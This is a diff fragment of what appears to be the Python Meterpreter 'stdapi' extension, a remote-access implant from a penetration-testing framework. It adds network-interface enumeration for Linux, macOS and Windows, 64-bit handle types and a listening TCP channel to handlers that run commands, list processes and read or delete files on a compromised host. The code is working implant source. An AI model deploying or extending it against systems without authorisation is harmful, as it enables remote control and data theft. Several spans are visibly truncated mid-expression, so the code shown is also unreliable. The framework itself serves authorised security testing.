(ctypes.Union,), + dict(_fields_ = [ + ("Alignment", ctypes.c_ulonglong), + ("s", type( + '_s_IP_ADAPTER_ADDRESSES', + (ctypes.Structure,), + dict(_fields_ = [ + ("Length", ctypes.c_ulong), + ("IfIndex", ctypes.c_uint32) + ]) + )) + ]) + )), + ("Next", ctypes.c_void_p), + ("AdapterName", ctypes.c_char_p), + ("FirstUnicastAddress", ctypes.c_void_p), + ("FirstAnycastAddress", ctypes.c_void_p), + ("FirstMulticastAddress", ctypes.c_void_p), + ("FirstDnsServerAddress", ctypes.c_void_p), + ("DnsSuffix", ctypes.c_wchar_p), + ("Description", ctypes.c_wchar_p), + ("FriendlyName", ctypes.c_wchar_p), + ("PhysicalAddress", (ctypes.c_uint8 * 8)), + ("PhysicalAddressLength", ctypes.c_uint32), + ("Flags", ctypes.c_uint32), + ("Mtu", ctypes.c_uint32), + ("IfType", ctypes.c_uint32), + ("OperStatus", ctypes.c_uint32), + ("Ipv6IfIndex", ctypes.c_uint32), + ("ZoneIndices", (ctypes.c_uint32 * 16)), + ("FirstPrefix", ctypes.c_void_p), + ("TransmitLinkSpeed", ctypes.c_uint64), + ("ReceiveLinkSpeed", ctypes.c_uint64), + ("FirstWinsServerAddress", ctypes.c_void_p), + ("FirstGatewayAddress", ctypes.c_void_p), + ("Ipv4Metric", ctypes.c_ulong), + ("Ipv6Metric", ctypes.c_ulong), + ("Luid", ctypes.c_uint64), + ("Dhcpv4Server", SOCKET_ADDRESS), + ("CompartmentId", ctypes.c_uint32), + ("NetworkGuid", (ctypes.c_uint8 * 16)), + ("ConnectionType", ctypes.c_uint32), + ("TunnelType", ctypes.c_uint32), + ("Dhcpv6Server", SOCKET_ADDRESS), + ("Dhcpv6ClientDuid", (ctypes.c_uint8 * 130)), + ("Dhcpv6ClientDuidLength", ctypes.c_ulong), + ("Dhcpv6Iaid", ctypes.c_ulong), + ("FirstDnsSuffix", ctypes.c_void_p)] + + class MIB_IFROW(ctypes.Structure): + _fields_ = [("wszName", (ctypes.c_wchar * 256)), + ("dwIndex", ctypes.c_uint32), + ("dwType", ctypes.c_uint32), + ("dwMtu", ctypes.c_uint32), + ("dwSpeed", ctypes.c_uint32), + ("dwPhysAddrLen", ctypes.c_uint32), + ("bPhysAddr", (ctypes.c_uint8 * 8)), + ("dwAdminStatus", ctypes.c_uint32), + ("dwOperStaus", ctypes.c_uint32), + ("dwLastChange", ctypes.c_uint32), + ("dwInOctets", ctypes.c_uint32), + ("dwInUcastPkts", ctypes.c_uint32), + ("dwInNUcastPkts", ctypes.c_uint32), + ("dwInDiscards", ctypes.c_uint32), + ("dwInErrors", ctypes.c_uint32), + ("dwInUnknownProtos", ctypes.c_uint32), + ("dwOutOctets", ctypes.c_uint32), + ("dwOutUcastPkts", ctypes.c_uint32), + ("dwOutNUcastPkts", ctypes.c_uint32), + ("dwOutDiscards", ctypes.c_uint32), + ("dwOutErrors", ctypes.c_uint32), + ("dwOutQLen", ctypes.c_uint32), + ("dwDescrLen", ctypes.c_uint32), + ("bDescr", (ctypes.c_char * 256))] + + class MIB_IPADDRROW(ctypes.Structure): + _fields_ = [("dwAddr", ctypes.c_uint32), + ("dwIndex", ctypes.c_uint32), + ("dwMask", ctypes.c_uint32), + ("dwBCastAddr", ctypes.c_uint32), + ("dwReasmSize", ctypes.c_uint32), + ("unused1", ctypes.c_uint16), + ("wType", ctypes.c_uint16)] + + class PROCESSENTRY32(ctypes.Structure): + _fields_ = [("dwSize", ctypes.c_uint32), + ("cntUsage", ctypes.c_uint32), + ("th32ProcessID", ctypes.c_uint32), + ("th32DefaultHeapID", ctypes.c_void_p), + ("th32ModuleID", ctypes.c_uint32), + ("cntThreads", ctypes.c_uint32), + ("th32ParentProcessID", ctypes.c_uint32), + ("thPriClassBase", ctypes.c_int32), + ("dwFlags", ctypes.c_uint32), + ("szExeFile", (ctypes.c_char * 260))] + + class SID_AND_ATTRIBUTES(ctypes.Structure): + _fields_ = [("Sid", ctypes.c_void_p), + ("Attributes", ctypes.c_uint32)] + + class SYSTEM_INFO(ctypes.Structure): + _fields_ = [("wProcessorArchitecture", ctypes.c_uint16), + ("wReserved", ctypes.c_uint16), + ("dwPageSize", ctypes.c_uint32), + ("lpMinimumApplicationAddress", ctypes.c_void_p), + ("lpMaximumApplicationAddress", ctypes.c_void_p), + ("dwActiveProcessorMask", ctypes.c_uint32), + ("dwNumberOfProcessors", ctypes.c_uint32), + ("dwProcessorType", ctypes.c_uint32), + ("dwAllocationGranularity", ctypes.c_uint32), + ("wProcessorLevel", ctypes.c_uint16), + ("wProcessorRevision", ctypes.c_uint16)] + + # + # Linux Structures + # + class IFADDRMSG(ctypes.Structure): + _fields_ = [("family", ctypes.c_uint8), + ("prefixlen", ctypes.c_uint8), + ("flags", ctypes.c_uint8), + ("scope", ctypes.c_uint8), + ("index", ctypes.c_int32)] + + class IFINFOMSG(ctypes.Structure): + _fields_ = [("family", ctypes.c_uint8), + ("pad", ctypes.c_int8), + ("type", ctypes.c_uint16), + ("index", ctypes.c_int32), + ("flags", ctypes.c_uint32), + ("chagen", ctypes.c_uint32)] + + class NLMSGHDR(ctypes.Structure): + _fields_ = [("len", ctypes.c_uint32), + ("type", ctypes.c_uint16), + ("flags", ctypes.c_uint16), + ("seq", ctypes.c_uint32), + ("pid", ctypes.c_uint32)] + + class RTATTR(ctypes.Structure): + _fields_ = [("len", ctypes.c_uint16), + ("type", ctypes.c_uint16)] # # TLV Meta Types # -TLV_META_TYPE_NONE = ( 0 ) -TLV_META_TYPE_STRING = (1 << 16) -TLV_META_TYPE_UINT = (1 << 17) -TLV_META_TYPE_RAW = (1 << 18) -TLV_META_TYPE_BOOL = (1 << 19) +TLV_META_TYPE_NONE = ( 0 ) +TLV_META_TYPE_STRING = (1 << 16) +TLV_META_TYPE_UINT = (1 << 17) +TLV_META_TYPE_RAW = (1 << 18) +TLV_META_TYPE_BOOL = (1 << 19) +TLV_META_TYPE_QWORD = (1 << 20) TLV_META_TYPE_COMPRESSED = (1 << 29) -TLV_META_TYPE_GROUP = (1 << 30) -TLV_META_TYPE_COMPLEX = (1 << 31) +TLV_META_TYPE_GROUP = (1 << 30) +TLV_META_TYPE_COMPLEX = (1 << 31) # not defined in original -TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16) +TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16) # # TLV Specific Types @@ -109,10 +285,10 @@ TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54 ## # General ## -TLV_TYPE_HANDLE = TLV_META_TYPE_UINT | 600 +TLV_TYPE_HANDLE = TLV_META_TYPE_QWORD | 600 TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601 -TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_UINT | 630 -TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_UINT | 631 +TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_QWORD | 630 +TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_QWORD | 631 ## # Fs @@ -135,16 +311,21 @@ TLV_TYPE_SEARCH_RESULTS = TLV_META_TYPE_GROUP | 1233 ## TLV_TYPE_HOST_NAME = TLV_META_TYPE_STRING | 1400 TLV_TYPE_PORT = TLV_META_TYPE_UINT | 1401 +TLV_TYPE_INTERFACE_MTU = TLV_META_TYPE_UINT | 1402 +TLV_TYPE_INTERFACE_FLAGS = TLV_META_TYPE_STRING | 1403 +TLV_TYPE_INTERFACE_INDEX = TLV_META_TYPE_UINT | 1404 TLV_TYPE_SUBNET = TLV_META_TYPE_RAW | 1420 TLV_TYPE_NETMASK = TLV_META_TYPE_RAW | 1421 TLV_TYPE_GATEWAY = TLV_META_TYPE_RAW | 1422 TLV_TYPE_NETWORK_ROUTE = TLV_META_TYPE_GROUP | 1423 +TLV_TYPE_IP_PREFIX = TLV_META_TYPE_UINT | 1424 TLV_TYPE_IP = TLV_META_TYPE_RAW | 1430 TLV_TYPE_MAC_ADDRESS = TLV_META_TYPE_RAW | 1431 TLV_TYPE_MAC_NAME = TLV_META_TYPE_STRING | 1432 TLV_TYPE_NETWORK_INTERFACE = TLV_META_TYPE_GROUP | 1433 +TLV_TYPE_IP6_SCOPE = TLV_META_TYPE_RAW | 1434 TLV_TYPE_SUBNET_STRING = TLV_META_TYPE_STRING | 1440 TLV_TYPE_NETMASK_STRING = TLV_META_TYPE_STRING | 1441 @@ -166,7 +347,7 @@ TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530 ## # Registry ## -TLV_TYPE_HKEY = TLV_META_TYPE_UINT | 1000 +TLV_TYPE_HKEY = TLV_META_TYPE_QWORD | 1000 TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001 TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002 @@ -196,12 +377,12 @@ DELETE_KEY_FLAG_RECURSIVE = (1 << 0) ## # Process ## -TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_UINT | 2000 +TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2000 TLV_TYPE_ALLOCATION_TYPE = TLV_META_TYPE_UINT | 2001 TLV_TYPE_PROTECTION = TLV_META_TYPE_UINT | 2002 TLV_TYPE_PROCESS_PERMS = TLV_META_TYPE_UINT | 2003 TLV_TYPE_PROCESS_MEMORY = TLV_META_TYPE_RAW | 2004 -TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_UINT | 2005 +TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2005 TLV_TYPE_MEMORY_STATE = TLV_META_TYPE_UINT | 2006 TLV_TYPE_MEMORY_TYPE = TLV_META_TYPE_UINT | 2007 TLV_TYPE_ALLOC_PROTECTION = TLV_META_TYPE_UINT | 2008 @@ -217,16 +398,16 @@ TLV_TYPE_PARENT_PID = TLV_META_TYPE_UINT | 2307 TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400 TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401 TLV_TYPE_PROCEDURE_NAME = TLV_META_TYPE_STRING | 2402 -TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_UINT | 2403 -TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_UINT | 2404 +TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_QWORD | 2403 +TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_QWORD | 2404 TLV_TYPE_IMAGE_GROUP = TLV_META_TYPE_GROUP | 2405 TLV_TYPE_IMAGE_NAME = TLV_META_TYPE_STRING | 2406 TLV_TYPE_THREAD_ID = TLV_META_TYPE_UINT | 2500 TLV_TYPE_THREAD_PERMS = TLV_META_TYPE_UINT | 2502 TLV_TYPE_EXIT_CODE = TLV_META_TYPE_UINT | 2510 -TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_UINT | 2511 -TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_UINT | 2512 +TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_QWORD | 2511 +TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_QWORD | 2512 TLV_TYPE_CREATION_FLAGS = TLV_META_TYPE_UINT | 2513 TLV_TYPE_REGISTER_NAME = TLV_META_TYPE_STRING | 2540 @@ -245,7 +426,7 @@ TLV_TYPE_DESKTOP = TLV_META_TYPE_STRING | 3002 # Event Log ## TLV_TYPE_EVENT_SOURCENAME = TLV_META_TYPE_STRING | 4000 -TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_UINT | 4001 +TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_QWORD | 4001 TLV_TYPE_EVENT_NUMRECORDS = TLV_META_TYPE_UINT | 4002 TLV_TYPE_EVENT_READFLAGS = TLV_META_TYPE_UINT | 4003 @@ -290,9 +471,39 @@ ERROR_FAILURE = 1 # errors. ERROR_CONNECTION_ERROR = 10000 +# Windows Constants +GAA_FLAG_SKIP_ANYCAST = 0x0002 +GAA_FLAG_SKIP_MULTICAST = 0x0004 +GAA_FLAG_INCLUDE_PREFIX = 0x0010 +GAA_FLAG_SKIP_DNS_SERVER = 0x0080 + WIN_AF_INET = 2 WIN_AF_INET6 = 23 +# Linux Constants +RTM_GETLINK = 18 +RTM_GETADDR = 22 +RTM_GETROUTE = 26 + +IFLA_ADDRESS = 1 +IFLA_BROADCAST = 2 +IFLA_IFNAME = 3 +IFLA_MTU = 4 + +IFA_ADDRESS = 1 +IFA_LABEL = 3 + +def calculate_32bit_netmask(bits): + if bits == 32: + return 0xffffffff + return ((0xffffffff << (32-(bits%32))) & 0xffffffff) + +def cstruct_unpack(structure, raw_data): + if not isinstance(structure, ctypes.Structure): + structure = structure() + ctypes.memmove(ctypes.byref(structure), raw_data, ctypes.sizeof(structure)) + return structure + def get_stat_buffer(path): si = os.stat(path) rdev = 0 @@ -306,24 +517,43 @@ def get_stat_buffer(path): blocks = si.st_blocks st_buf = struct.pack('> 8) + dwBuild = ((dwVersion & 0xffff0000) >> 16) + return type('Version', (object,), dict(dwMajorVersion = dwMajorVersion, dwMinorVersion = dwMinorVersion, dwBuild = dwBuild)) + @meterpreter.register_function -def channel_create_stdapi_fs_file(request, response): +def channel_open_stdapi_fs_file(request, response): fpath = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE) if fmode: @@ -348,12 +587,12 @@ def channel_create_stdapi_fs_file(request, response): else: fmode = 'rb' file_h = open(fpath, fmode) - channel_id = meterpreter.add_channel(file_h) + channel_id = meterpreter.add_channel(MeterpreterFile(file_h)) response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) return ERROR_SUCCESS, response @meterpreter.register_function -def channel_create_stdapi_net_tcp_client(request, response): +def channel_open_stdapi_net_tcp_client(request, response): host = packet_get_tlv(request, TLV_TYPE_PEER_HOST)['value'] port = packet_get_tlv(request, TLV_TYPE_PEER_PORT)['value'] local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST) @@ -373,7 +612,19 @@ def channel_create_stdapi_net_tcp_client(request, response): pass if not connected: return ERROR_CONNECTION_ERROR, response - channel_id = meterpreter.add_channel(sock) + channel_id = meterpreter.add_channel(MeterpreterSocketClient(sock)) + response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) + return ERROR_SUCCESS, response + +@meterpreter.register_function +def channel_open_stdapi_net_tcp_server(request, response): + local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST).get('value', '0.0.0.0') + local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT)['value'] + server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + server_sock.bind((local_host, local_port)) + server_sock.listen(socket.SOMAXCONN) + channel_id = meterpreter.add_channel(MeterpreterSocketServer(server_sock)) response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) return ERROR_SUCCESS, response @@ -452,6 +703,7 @@ def stdapi_sys_process_execute(request, response): proc_h.stderr = open(os.devnull, 'rb') else: proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + proc_h.echo_protection = True proc_h.start() else: proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) @@ -470,15 +722,15 @@ def stdapi_sys_process_getpid(request, response): def stdapi_sys_process_get_processes_via_proc(request, response): for pid in os.listdir('/proc'): - pgroup = '' + pgroup = bytes() if not os.path.isdir(os.path.join('/proc', pid)) or not pid.isdigit(): continue - cmd = open(os.path.join('/proc', pid, 'cmdline'), 'rb').read(512).replace('\x00', ' ') - status_data = open(os.path.join('/proc', pid, 'status'), 'rb').read() + cmdline_file = open(os.path.join('/proc', pid, 'cmdline'), 'rb') + cmd = str(cmdline_file.read(512).replace(NULL_BYTE, bytes(' ', 'UTF-8'))) + status_data = str(open(os.path.join('/proc', pid, 'status'), 'rb').read()) status_data = map(lambda x: x.split('\t',1), status_data.split('\n')) - status_data = filter(lambda x: len(x) == 2, status_data) status = {} - for k, v in status_data: + for k, v in filter(lambda x: len(x) == 2, status_data): status[k[:-1]] = v.strip() ppid = status.get('PPid') uid = status.get('Uid').split('\t', 1)[0] @@ -502,14 +754,14 @@ def stdapi_sys_process_get_processes_via_proc(request, response): def stdapi_sys_process_get_processes_via_ps(request, response): ps_args = ['ps', 'ax', '-w', '-o', 'pid,ppid,user,command'] proc_h = subprocess.Popen(ps_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) - ps_output = proc_h.stdout.read() + ps_output = str(proc_h.stdout.read()) ps_output = ps_output.split('\n') ps_output.pop(0) for process in ps_output: process = process.split() if len(process) < 4: break - pgroup = '' + pgroup = bytes() pgroup += tlv_pack(TLV_TYPE_PID, int(process[0])) pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(process[1])) pgroup += tlv_pack(TLV_TYPE_USER_NAME, process[2]) @@ -570,7 +822,7 @@ def stdapi_sys_process_get_processes_via_windll(request, response): use = ctypes.c_ulong() use.value = 0 ctypes.windll.advapi32.LookupAccountSidA(None, user_tkn.Sid, username, ctypes.byref(u_len), domain, ctypes.byref(d_len), ctypes.byref(use)) - complete_username = ctypes.string_at(domain) + '\\' + ctypes.string_at(username) + complete_username = str(ctypes.string_at(domain)) + '\\' + str(ctypes.string_at(username)) k32.CloseHandle(tkn_h) parch = windll_GetNativeSystemInfo() is_wow64 = ctypes.c_ubyte() @@ -579,7 +831,7 @@ def stdapi_sys_process_get_processes_via_windll(request, response): if k32.IsWow64Process(proc_h, ctypes.byref(is_wow64)): if is_wow64.value: parch = PROCESS_ARCH_X86 - pgroup = '' + pgroup = bytes() pgroup += tlv_pack(TLV_TYPE_PID, pe32.th32ProcessID) pgroup += tlv_pack(TLV_TYPE_PARENT_PID, pe32.th32ParentProcessID) pgroup += tlv_pack(TLV_TYPE_USER_NAME, complete_username) @@ -627,16 +879,18 @@ def stdapi_fs_delete_dir(request, response): @meterpreter.register_function def stdapi_fs_delete_file(request, response): file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] - os.unlink(file_path) + if os.path.exists(file_path): + os.unlink(file_path) return ERROR_SUCCESS, response @meterpreter.register_function def stdapi_fs_file_expand_path(request, response): path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] if has_windll: + path_tlv = ctypes.create_string_buffer(bytes(path_tlv, 'UTF-8')) path_out = (ctypes.c_char * 4096)() - path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(path_tlv, ctypes.byref(path_out), ctypes.sizeof(path_out)) - result = ''.join(path_out)[:path_out_len] + path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(ctypes.byref(path_tlv), ctypes.byref(path_out), ctypes.sizeof(path_out)) + result = str(ctypes.string_at(path_out)) elif path_tlv == '%COMSPEC%': result = '/bin/sh' elif path_tlv in ['%TEMP%', '%TMP%']: @@ -675,12 +929,12 @@ def stdapi_fs_ls(request, response): @meterpreter.register_function def stdapi_fs_md5(request, response): - if sys.version_info[0] == 2 and sys.version_info[1] < 5: - import md5 - m = md5.new() - else: + try: import hashlib m = hashlib.md5() + except ImportError: + import md5 + m = md5.new() path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] m.update(open(path, 'rb').read()) response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest()) @@ -689,7 +943,8 @@ def stdapi_fs_md5(request, response): @meterpreter.register_function def stdapi_fs_mkdir(request, response): dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value'] - os.mkdir(dir_path) + if not os.path.isdir(dir_path): + os.mkdir(dir_path) return ERROR_SUCCESS, response @meterpreter.register_function @@ -722,12 +977,12 @@ def stdapi_fs_separator(request, response): @meterpreter.register_function def stdapi_fs_sha1(request, response): - if sys.version_info[0] == 2 and sys.version_info[1] < 5: - import sha1 - m = sha1.new() - else: + try: import hashlib m = hashlib.sha1() + except ImportError: + import sha + m = sha.new() path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] m.update(open(path, 'rb').read()) response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest()) @@ -740,6 +995,238 @@ def stdapi_fs_stat(request, response): response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf) return ERROR_SUCCESS, response +@meterpreter.register_function +def stdapi_net_config_get_interfaces(request, response): + if hasattr(socket, 'AF_NETLINK') and hasattr(socket, 'NETLINK_ROUTE'): + interfaces = stdapi_net_config_get_interfaces_via_netlink() + elif has_osxsc: + interfaces = stdapi_net_config_get_interfaces_via_osxsc() + elif has_windll: + interfaces = stdapi_net_config_get_interfaces_via_windll() + else: + return ERROR_FAILURE, response + for iface_info in interfaces: + iface_tlv = bytes() + iface_tlv += tlv_pack(TLV_TYPE_MAC_NAME, iface_info.get('name', 'Unknown')) + iface_tlv += tlv_pack(TLV_TYPE_MAC_ADDRESS, iface_info.get('hw_addr', '\x00\x00\x00\x00\x00\x00')) + if 'mtu' in iface_info: + iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_MTU, iface_info['mtu']) + if 'flags' in iface_info: + iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_FLAGS, iface_info['flags']) + iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_INDEX, iface_info['index']) + for address in iface_info.get('addrs', []): + iface_tlv += tlv_pack(TLV_TYPE_IP, address[1]) + if isinstance(address[2], (int, long)): + iface_tlv += tlv_pack(TLV_TYPE_IP_PREFIX, address[2]) + else: + iface_tlv += tlv_pack(TLV_TYPE_NETMASK, address[2]) + response += tlv_pack(TLV_TYPE_NETWORK_INTERFACE, iface_tlv) + return ERROR_SUCCESS, response + +def stdapi_net_config_get_interfaces_via_netlink(): + rta_align = lambda l: l+3 & ~3 + iface_flags = { + 0x0001: 'UP', + 0x0002: 'BROADCAST', + 0x0008: 'LOOPBACK', + 0x0010: 'POINTTOPOINT', + 0x0040: 'RUNNING', + 0x0100: 'PROMISC', + 0x1000: 'MULTICAST' + } + iface_flags_sorted = list(iface_flags.keys()) + # Dictionaries don't maintain order + iface_flags_sorted.sort() + interfaces = {} + + responses = netlink_request(RTM_GETLINK) + for res_data in responses: + iface = cstruct_unpack(IFINFOMSG, res_data) + iface_info = {'index':iface.index} + flags = [] + for flag in iface_flags_sorted: + if (iface.flags & flag): + flags.append(iface_flags[flag]) + iface_info['flags'] = ' '.join(flags) + cursor = ctypes.sizeof(IFINFOMSG) + while cursor < len(res_data): + attribute = cstruct_unpack(RTATTR, res_data[cursor:]) + at_len = attribute.len + attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)] + cursor += rta_align(at_len) + + if attribute.type == IFLA_ADDRESS: + iface_info['hw_addr'] = attr_data + elif attribute.type == IFLA_IFNAME: + iface_info['name'] = attr_data + elif attribute.type == IFLA_MTU: + iface_info['mtu'] = struct.unpack('= 96: + netmask = struct.pack('!iiiI', -1, -1, -1, calculate_32bit_netmask(nm_bits)) + elif nm_bits >= 64: + netmask = struct.pack('!iiII', -1, -1, calculate_32bit_netmask(nm_bits), 0) + elif nm_bits >= 32: + netmask = struct.pack('!iIII', -1, calculate_32bit_netmask(nm_bits), 0, 0) + else: + netmask = struct.pack('!IIII', calculate_32bit_netmask(nm_bits), 0, 0, 0) + addr_list = iface_info.get('addrs', []) + addr_list.append((iface.family, attr_data, netmask)) + iface_info['addrs'] = addr_list + elif attribute.type == IFA_LABEL: + iface_info['name'] = attr_data + interfaces[iface.index] = iface_info + return interfaces.values() + +def stdapi_net_config_get_interfaces_via_osxsc(): + ds = osxsc.SCDynamicStoreCreate(None, 'GetInterfaceInformation', None, None) + entities = [] + entities.append(osxsc.SCDynamicStoreKeyCreateNetworkInterfaceEntity(None, osxsc.kSCDynamicStoreDomainState, osxsc.kSCCompAnyRegex, osxsc.kSCEntNetIPv4)) + entities.append(osxsc.SCDynamicStoreKeyCreateNetworkInterfaceEntity(None, osxsc.kSCDynamicStoreDomainState, osxsc.kSCCompAnyRegex, osxsc.kSCEntNetIPv6)) + patterns = osxsc.CFArrayCreate(None, entities, len(entities), osxsc.kCFTypeArrayCallBacks) + values = osxsc.SCDynamicStoreCopyMultiple(ds, None, patterns) + interfaces = {} + for key, value in values.items(): + iface_name = key.split('/')[3] + iface_info = interfaces.get(iface_name, {}) + iface_info['name'] = str(iface_name) + if key.endswith('IPv4'): + family = socket.AF_INET + elif key.endswith('IPv6'): + family = socket.AF_INET6 + else: + continue + iface_addresses = iface_info.get('addrs', []) + for idx in range(len(value['Addresses'])): + if family == socket.AF_INET: + iface_addresses.append((family, inet_pton(family, value['Addresses'][idx]), inet_pton(family, value['SubnetMasks'][idx]))) + else: + iface_addresses.append((family, inet_pton(family, value['Addresses'][idx]), value['PrefixLength'][idx])) + iface_info['addrs'] = iface_addresses + interfaces[iface_name] = iface_info + for iface_ref in osxsc.SCNetworkInterfaceCopyAll(): + iface_name = osxsc.SCNetworkInterfaceGetBSDName(iface_ref) + if not iface_name in interfaces: + iface_type = osxsc.SCNetworkInterfaceGetInterfaceType(iface_ref) + if not iface_type in ['Ethernet', 'IEEE80211']: + continue + interfaces[iface_name] = {'name': str(iface_name)} + iface_info = interfaces[iface_name] + mtu = osxsc.SCNetworkInterfaceCopyMTU(iface_ref, None, None, None)[1] + iface_info['mtu'] = mtu + hw_addr = osxsc.SCNetworkInterfaceGetHardwareAddressString(iface_ref) + if hw_addr: + hw_addr = hw_addr.replace(':', '') + hw_addr = hw_addr.decode('hex') + iface_info['hw_addr'] = hw_addr + ifnames = list(interfaces.keys()) + ifnames.sort() + for iface_name, iface_info in interfaces.items(): + iface_info['index'] = ifnames.index(iface_name) + return interfaces.values() + +def stdapi_net_config_get_interfaces_via_windll(): + iphlpapi = ctypes.windll.iphlpapi + if not hasattr(iphlpapi, 'GetAdaptersAddresses'): + return stdapi_net_config_get_interfaces_via_windll_mib() + Flags = (GAA_FLAG_INCLUDE_PREFIX | GAA_FLAG_SKIP_DNS_SERVER | GAA_FLAG_SKIP_MULTICAST | GAA_FLAG_SKIP_ANYCAST) + AdapterAddresses = ctypes.c_void_p() + SizePointer = ctypes.c_ulong() + SizePointer.value = 0 + iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, AdapterAddresses, ctypes.byref(SizePointer)) + AdapterAddressesData = (ctypes.c_uint8 * SizePointer.value)() + iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, ctypes.byref(AdapterAddressesData), ctypes.byref(SizePointer)) + AdapterAddresses = ctypes.string_at(ctypes.byref(AdapterAddressesData), SizePointer.value) + AdapterAddresses = cstruct_unpack(IP_ADAPTER_ADDRESSES, AdapterAddresses) + if AdapterAddresses.u.s.Length <= 72: + return stdapi_net_config_get_interfaces_via_windll_mib() + win_version = windll_GetVersion() + interfaces = [] + pAdapterAddresses = ctypes.byref(AdapterAddresses) + while pAdapterAddresses: + AdapterAddresses = cstruct_unpack(IP_ADAPTER_ADDRESSES, pAdapterAddresses) + pAdapterAddresses = AdapterAddresses.Next + pFirstPrefix = AdapterAddresses.FirstPrefix + iface_info = {} + iface_info['index'] = AdapterAddresses.u.s.IfIndex + if AdapterAddresses.PhysicalAddressLength: + iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(AdapterAddresses.PhysicalAddress), AdapterAddresses.PhysicalAddressLength) + iface_desc = ctypes.wstring_at(AdapterAddresses.Description) + if not is_str(iface_desc): + iface_desc = str(iface_desc) + iface_info['name'] = iface_desc + iface_info['mtu'] = AdapterAddresses.Mtu + pUniAddr = AdapterAddresses.FirstUnicastAddress + while pUniAddr: + UniAddr = cstruct_unpack(IP_ADAPTER_UNICAST_ADDRESS, pUniAddr) + pUniAddr = UniAddr.Next + address = cstruct_unpack(SOCKADDR, UniAddr.Address.lpSockaddr) + if not address.sa_family in (socket.AF_INET, socket.AF_INET6): + continue + prefix = 0 + if win_version.dwMajorVersion >= 6: + prefix = UniAddr.OnLinkPrefixLength + elif pFirstPrefix: + ip_adapter_prefix = 'QPPIL' + prefix_data = ctypes.string_at(pFirstPrefix, struct.calcsize(ip_adapter_prefix)) + prefix = struct.unpack(ip_adapter_prefix, prefix_data)[4] + iface_addresses = iface_info.get('addrs', []) + if address.sa_family == socket.AF_INET: + iface_addresses.append((socket.AF_INET, ctypes.string_at(ctypes.byref(address.sa_data), 6)[2:], prefix)) + else: + iface_addresses.append((socket.AF_INET6, ctypes.string_at(ctypes.byref(address.sa_data), 22)[6:], prefix)) + iface_info['addrs'] = iface_addresses + interfaces.append(iface_info) + return interfaces + +def stdapi_net_config_get_interfaces_via_windll_mib(): + iphlpapi = ctypes.windll.iphlpapi + table = (ctypes.c_uint8 * (ctypes.sizeof(MIB_IPADDRROW) * 33))() + pdwSize = ctypes.c_ulong() + pdwSize.value = ctypes.sizeof(table) + if (iphlpapi.GetIpAddrTable(ctypes.byref(table), ctypes.byref(pdwSize), True) != 0): + return None + interfaces = [] + table_data = ctypes.string_at(table, pdwSize.value) + entries = struct.unpack('I', table_data[:4])[0] + table_data = table_data[4:] + for i in range(entries): + addrrow = cstruct_unpack(MIB_IPADDRROW, table_data) + ifrow = MIB_IFROW() + ifrow.dwIndex = addrrow.dwIndex + if iphlpapi.GetIfEntry(ctypes.byref(ifrow)) != 0: + continue + iface_info = {} + table_data = 